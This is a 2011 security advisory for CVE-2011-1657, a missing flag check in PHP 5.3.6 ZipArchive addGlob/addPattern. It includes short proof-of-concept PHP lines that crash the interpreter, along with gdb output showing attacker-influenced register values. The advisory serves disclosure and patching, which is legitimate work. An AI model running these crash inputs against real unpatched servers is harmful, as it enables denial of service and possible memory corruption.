Exploit the possiblities

PHP 5.3.6 ZipArchive Invalid Use glob(3)

PHP 5.3.6 ZipArchive Invalid Use glob(3)
Posted Aug 19, 2011
Authored by Maksymilian Arciemowicz

PHP version 5.3.6 ZipArchive suffers from an invalid use of glob(3) vulnerability.

tags | advisory, php
advisories | CVE-2011-1657
MD5 | 3e32f08383b3c3542c7b330e94eb4a54

PHP 5.3.6 ZipArchive Invalid Use glob(3)

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-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ PHP 5.3.6 ZipArchive invalid use glob(3) ]

Author: Maksymilian Arciemowicz
http://securityreason.com/
http://securityreason.net/
http://cxib.net/
Date:
- - Dis.: 01.04.2011
- - Pub.: 19.08.2011

CVE: CVE-2011-1657

Affected Software (verified):
PHP 5.3.6 and prior

Fixed:
PHP 5.3.7

Original URL:
http://securityreason.com/achievement_securityalert/100


- --- 0.Description ---
PHP is a general-purpose scripting language originally designed for web
development to produce dynamic web pages. For this purpose, PHP code is
embedded into the HTML source document and interpreted by a web server
with a PHP processor module, which generates the web page document. It
also has evolved to include a command-line interface capability and can
be used in standalone graphical applications.

ZipArchive
This extension enables you to transparently read or write ZIP compressed
archives and the files inside them.


- --- 1. PHP 5.3.6 ZipArchive invalid use glob(3) ---
Functions like addGlob and addPattern are not described in
documentation. Anyway we can call to ZipArchive::addGlob and
ZipArchive::addPattern in PHP 5.3.6

http://pl2.php.net/manual/en/class.ziparchive.php

let's see ext/zip/php_zip.c

531 if (0 != (ret = glob(pattern, flags & GLOB_FLAGMASK, NULL,
&globbuf))) {
...
1629 /* 1 == glob, 2==pcre */
1630 if (type == 1) {
1631 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|la",
1632 &pattern, &pattern_len, &flags, &options) == FAILURE) {
1633 return;
1634 }
1635 } else {
1636 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|sa",
1637 &pattern, &pattern_len, &path, &path_len, &options) == FAILURE) {
1638 return;
1639 }
1640 }
1641

invalid &flags may provide to crash. To use flags like GLOB_ALTDIRFUNC,
we should first declare gl_opendir, gl_closedir, gl_lstat, gl_stat. In
PHP we only have

508 glob_t globbuf;
...
530 globbuf.gl_offs = 0;
531 if (0 != (ret = glob(pattern, flags & GLOB_FLAGMASK, NULL,
&globbuf))) {

for addglob() there are no GLOB flags validation like in php/glob().
Only flags like
GLOB_MARK|GLOB_NOSORT|GLOB_NOCHECK|GLOB_NOESCAPE|GLOB_BRACE|GLOB_ONLYDIR|GLOB_ERR
should be allowed:

- - GLOB_MARK - Adds a slash to each directory returned
- - GLOB_NOSORT - Return files as they appear in the directory (no sorting)
- - GLOB_NOCHECK - Return the search pattern if no files matching it were
found
- - GLOB_NOESCAPE - Backslashes do not quote metacharacters
- - GLOB_BRACE - Expands {a,b,c} to match 'a', 'b', or 'c'
- - GLOB_ONLYDIR - Return only directory entries which match the pattern
- - GLOB_ERR - Stop on read errors (like unreadable directories), by
default errors are ignored.

- ---linux/ubuntu---
cx@cx64:~$ php -v
PHP 5.3.3-1ubuntu9.3 with Suhosin-Patch (cli) (built: Jan 12 2011 16:07:38)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
cx@cx64:~$ uname -a
Linux cx64 2.6.35-28-generic #49-Ubuntu SMP Tue Mar 1 14:39:03 UTC 2011
x86_64 GNU/Linux
cx@cx64:/www$ cat zip.php
<?php

unlink("empty.zip");

fopen("empty.zip","a");

$nx=new
ZipArchive();$nx->open("empty.zip");$nx->addGlob(str_repeat("*",333333),0x39);
?>cx@cx64:/www$ php zip.php
Segmentation fault
- ---linux/ubuntu---


Tested with NetBSD glob(3) implementation (netbsd 5.1 and PHP 5.3.6)


- ---bsd/netbsd---
unlink("empty.zip"); fopen("empty.zip","a"); $nx=new
ZipArchive();$nx->open("empty.zip");$nx->addGlob(str_repeat("A",1000000),0x39);

Program received signal SIGSEGV, Segmentation fault.
0xbb86bb12 in realloc () from /usr/lib/libc.so.12
(gdb) i r
eax 0x410041 4259905
ecx 0xc 12
edx 0xbfb00000 -1078984704
ebx 0xbb8c81f4 -1148419596
esp 0xbfbfa980 0xbfbfa980
ebp 0xbfbfa9d8 0xbfbfa9d8
esi 0xfc000 1032192
edi 0x0 0
eip 0xbb86bb12 0xbb86bb12 <realloc+118>
(gdb) x/i $eip
0xbb86bb12 <realloc+118>: mov 0x8(%eax),%edi
(gdb) x/i $eax
0x410041: Cannot access memory at address 0x410041
- ---bsd/netbsd---

and now try 'B'

- ---bsd/netbsd---
unlink("empty.zip");
fopen("empty.zip","a");
$nx=new
ZipArchive();$nx->open("empty.zip");$nx->addGlob(str_repeat("B",1000000),0x39);
(gdb) x/i $eip
0xbb86bb12 <realloc+118>: mov 0x8(%eax),%edi
(gdb) x/i $eax
0x420042: Cannot access memory at address 0x420042
- ---bsd/netbsd---

A we get mov 0x8(%eax),%edi where eax=0x410041
B we get mov 0x8(%eax),%edi where eax=0x420042

and once again for eax=0x0


- ---bsd/netbsd---
$nx=new ZipArchive();$nx->open("empty.zip");$nx->addGlob("aa",0x39);

Program received signal SIGSEGV, Segmentation fault.
0xbb8e2960 in pthread_mutex_lock () from /usr/lib/libpthread.so.0
(gdb) bt
#0 0xbb8e2960 in pthread_mutex_lock () from /usr/lib/libpthread.so.0
#1 0xbb86a43a in _malloc_prefork () from /usr/lib/libc.so.12
#2 0xbb86bb9c in realloc () from /usr/lib/libc.so.12
#3 0xbb83610b in __globfree30 () from /usr/lib/libc.so.12
#4 0xbb836cb7 in __globfree30 () from /usr/lib/libc.so.12
#5 0xbb8372d9 in __glob30 () from /usr/lib/libc.so.12
#6 0x083b1fe3 in php_XML_ParserFree ()
#7 0x083b45b7 in php_XML_ParserFree ()
#8 0x083b485f in php_XML_ParserFree ()
#9 0x0846f4b6 in execute ()
#10 0x084703c8 in execute ()
#11 0x0846e42d in execute ()
#12 0x08442b5a in zend_execute_scripts ()
#13 0x083c776b in php_execute_script ()
#14 0x08515c23 in zend_get_zval_ptr_ptr ()
#15 0x08067eb4 in ___start ()
#16 0x08067e17 in _start ()
- ---bsd/netbsd---

to get other crash point, change 0x39 to 0x40 or use addPattern() with
special crafted zip files.

- ---addPattern()---
$nx=new
ZipArchive();$nx->open("empty.zip");$nx->addPattern(str_repeat("A",1));
0x083b21c4 in php_XML_ParserFree ()
- ---addPattern()---


- --- 2. Fix ---
PHP 5.3.7
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?view=log

PR/44959: Henning Petersen: glob forgets to closedir on out of space
condition.
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=1.29&r2=1.30&only_with_tag=MAIN&f=h


- --- 3. Greets ---
Felipe

sp3x infospec


- --- 4. Contact ---
Author: Maksymilian Arciemowicz

Email:
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://securityreason.net/
http://cxib.net/

- --
Best Regards
pub 4096R/D6E5B530 2010-09-19
uid Maksymilian Arciemowicz (cx) <max@cxib.net>
sub 4096R/58BA663C 2010-09-19
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